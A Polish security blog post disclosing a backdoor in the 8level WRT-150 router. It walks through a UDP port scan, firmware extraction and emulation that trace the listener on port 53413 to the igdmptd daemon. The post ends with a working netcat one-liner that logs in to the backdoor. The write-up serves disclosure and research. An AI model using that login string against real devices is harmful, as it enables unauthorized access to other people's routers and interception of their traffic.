8 level wrt150- backdoor jak drzwi od stodoły

**Producent powiadomiony- brak odpowiedzi**

Jest to prawdopodobnie ten sam backdoor opisany przez Zaufaną Trzecią Stronę.

Pod koniec zeszłego roku, dzięki uprzejmości kolegi z pracy, miałem okazję podłączyć sobie na testy router firmy 8 level, model WRT 150. Pobieżne (a to błąd) penetracje doprowadziły mnie do wniosku, że urządzenie jest bezpieczne i wyłączyłem je. Nic bardziej mylnego. W myśl powiedzenia "najciemniej jest pod latarnią" ostatnią rzecz jaką miałem zrobić, to przeskanować porty tego sprzętu:

$ sudo nmap 192.168.1.1 -sU -p1-65535 -min-rate 15000 -stats-every 3 -vv -r

i wynik:

PORT      STATE  SERVICE
...
53413/udp open   unknown
...

Pierwsza myśl, to UPnP. Sprawdziłem- wyłączone. Router zaczyna być podejrzany. Skoro port jest otwarty, to znaczy, że czeka na jakiś komunikat. 

$ nc 192.168.1.1 53413 -u -vv


Connection to 192.168.1.1 53413 port [udp/*] succeeded!
XХLogin:XХLogin:XХLogin:XХLogin:XХLogin:

( ͡° ͜ʖ ͡°)

To już wyraźny dowód na to, że producent zapomniał o czymś, lub celowo coś pozostawił. Odpowiedzi wysyłane na ten port wyglądały jak zmodyfikowane moje żądanie jako string:

ХLogin:administrator
adnjstХLogin incorrect!

Login:

Pierwotnie rozpisałem sobie na szybko algorytm, który jak sądziłem modyfikował żądanie. Uznałem to za wskazówkę. Okazało się, że nie warto iść tą drogą.

idziemy po firmware.

Tym razem również mamy do czynienia z systemem squashfs. Poniżej prezentacja zapisu szesnastkowego, fragmentu firmware'u, przekazanego do polecenia grep, gdzie znajdują się bajty magiczne  sqsh lub (-E) hsqs, z uwzględnieniem w wyszukiwaniu jednego wiersza przed szukaną wartością (-A1) oraz jednego wiersza po (-B) szukanej wartości. Wielkość liter nie ma znaczenia (-i):

$ hexdump -C APR-R4A4-V1.1.694\ Build\(10560\)\ -8level\(WRT-150\(A\)\).bin | grep -iE -A1 -B1 "sqsh|hsqs"

00092850  36 7a 72 36 62 72 00 12  00 00 00 0d 00 00 00 19  |6zr6br..........|
00092860  a0 42 73 71 73 68 00 00  01 71 00 19 9d c0 00 19  |.Bsqsh...q......|
00092870  96 5d 00 00 00 00 00 19  81 25 00 19 8a a4 00 02  |.].......%......|

Sam system plików zaczyna się na offsecie 0x092862, ponieważ pierwszy bajt identyfikujący dane znajduje się na takiej właśnie pozycji:

Pozycja    0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

00092860  a0 42 73 71 73 68 00 00  01 71 00 19 9d c0 00 19  |.Bsqsh...q......|

Wyodrębnijmy więc system squash z firmware'u poleceniem dd:

$ dd if=APR-R4A4-V1.1.694\ Build\(10560\)\ -8level\(WRT-150\(A\)\).bin of=squash bs=1 skip=$((0x092862))


if (input file) - określamy na jakim pliku pracujemy
of (output file) - określamy nazwę pliku, jaki zostanie zapisany
bs =1 tyle bajtów zjmuje 1 blok
skip=00092862 - od razu przeskocz do tego miejsca i zacznij "wycinać" i zapisywać do pliku squash. 
W zapisie szesnastkowym podajemy $((0x092862)), w zapisie dziesiętnym 600162, bo to ta sama wartość: 

$ echo $((0x092862))
600162

Upewnijmy się, że właściwie dobraliśmy parametry:

$ file squash
squash: Squashfs filesystem, big endian, version 2.0, 1678784 bytes, 369 inodes, blocksize: 65536 bytes, created: Tue Oct 18 08:37:37 2011

Polecenie file rozpoznaje obraz, który rozpakujemy:

$ sudo sasquatch squash
SquashFS version [512.0] / inode count [1895890944] suggests a SquashFS image of a different endianess
Reading a different endian SQUASHFS filesystem on squash
Parallel unsquashfs: Using 4 processors
Trying to decompress using default gzip decompressor...
Trying to decompress with lzma...
Trying to decompress with lzma-adaptive...
Detected lzma-adaptive compression
349 inodes (404 blocks) to write

[==============================================================================================================================================================================================================================|] 404/404 100%

created 244 files
created 20 directories
created 82 symlinks
created 23 devices

created 0 fifos

Spróbujmy trywialnym sposobem znaleźć usługę, która może nasłuchiwać na tym porcie:

$ grep -ir bind 
etc/services:at-nbp             202/tcp                         # AppleTalk name binding
etc/services:nbp                2/ddp                           # Name Binding Protocol
etc/services:rndc               953/tcp                         # rndc control sockets (BIND 9)
etc/services:rndc               953/udp                         # rndc control sockets (BIND 9)
Plik binarny etc/libplugin.a pasuje do wzorca
etc/host.conf:order hosts,bind
Plik binarny web/cgi-bin/cgitest.cgi pasuje do wzorca
Plik binarny lib/mini_upnp.so pasuje do wzorca
Plik binarny lib/libc.so.0 pasuje do wzorca
Plik binarny lib/libnl.so.1.0-pre8 pasuje do wzorca
Plik binarny lib/ld-uClibc.so.0 pasuje do wzorca
Plik binarny lib/libdl.so.0 pasuje do wzorca
Plik binarny bin/pptpd pasuje do wzorca
Plik binarny bin/busybox pasuje do wzorca
Plik binarny bin/UDPserver pasuje do wzorca
Plik binarny bin/dnrd pasuje do wzorca
Plik binarny bin/igdmptd pasuje do wzorca
Plik binarny bin/mini_upnpd pasuje do wzorca
Plik binarny bin/udhcpd pasuje do wzorca
Plik binarny bin/webs pasuje do wzorca
Plik binarny bin/lld2d pasuje do wzorca
Plik binarny bin/acltd pasuje do wzorca
Plik binarny bin/detect_wan pasuje do wzorca
Plik binarny bin/wscd pasuje do wzorca
Plik binarny bin/l2tpd pasuje do wzorca
Plik binarny bin/ntpclient pasuje do wzorca
Plik binarny bin/oray_dns pasuje do wzorca
Plik binarny bin/sdmzd pasuje do wzorca
Plik binarny bin/cdrom_wizard pasuje do wzorca
Plik binarny bin/cmac pasuje do wzorca
Plik binarny bin/tc pasuje do wzorca
Plik binarny bin/iapp pasuje do wzorca
Plik binarny bin/ip pasuje do wzorca
Plik binarny bin/ntpd pasuje do wzorca
Plik binarny bin/guangdian pasuje do wzorca
Plik binarny bin/miniigd pasuje do wzorca
Plik binarny bin/pppd pasuje do wzorca
Plik binarny bin/iwcontrol pasuje do wzorca
Plik binarny bin/pptp pasuje do wzorca
Plik binarny bin/logd pasuje do wzorca
Plik binarny bin/updatedd pasuje do wzorca
Plik binarny bin/auth pasuje do wzorca
Plik binarny bin/pptpctrl pasuje do wzorca

Zawartość /lib możemy pominąć, podobnie z programami, które są nam znane. Podejrzanie wygląda plik UDPserwer, który nasłuchuje na porcie 9034/UDP, ale nie startuje na routerze. Tu jest jego kod.

Po przetestowaniu usług i uruchomieniu binarki igdmptd (internet gateway device manufacture process test daemon), okazuje się, że to łajdactwo jest odpowiedzialne za backdoor:

$ sudo strace -e bind chroot . ./qemu-mips-static bin/igdmptd

Create server...

bind(3, {sa_family=AF_INET, sin_port=htons(53413), sin_addr=inet_addr("0.0.0.0")}, 16) = 0

IGD MPT Interface daemon 1.0

Poza tym start tej usługi potwierdza kod pliku /etc/profile:
...
#rxxV4
#echo 1 > /proc/zb_disable_tty
#sh /bin/rxx.sh

#lxb@2011.05.26
generate_passwd.sh &
telnetd &


igdmptd &

Za nasłuchiwanie na tym porcie odpowiedzialna jest funkcja "create_server":

Za sprawdzenie poprawności logowania "do_mptlogin". 

Chińczycy wpadli na tę dziurę wcześniej, przy okazji badania sprzętu Netis. Przeprowadzona została inżynieria wsteczna kodu i wyodrębnione polecenia, które można wysyłać np. poprzez nc do routera:

$ python -c "print 'A'*8 + 'netcore\x00'" | nc -u -vv 192.168.1.1 53413

Możemy wysyłać/pobierać pliki z routera także poprzez IP publiczne, co jest wyjątkowo groźne dla naszych danych i oczywiście umożliwia atak MiTM.

/k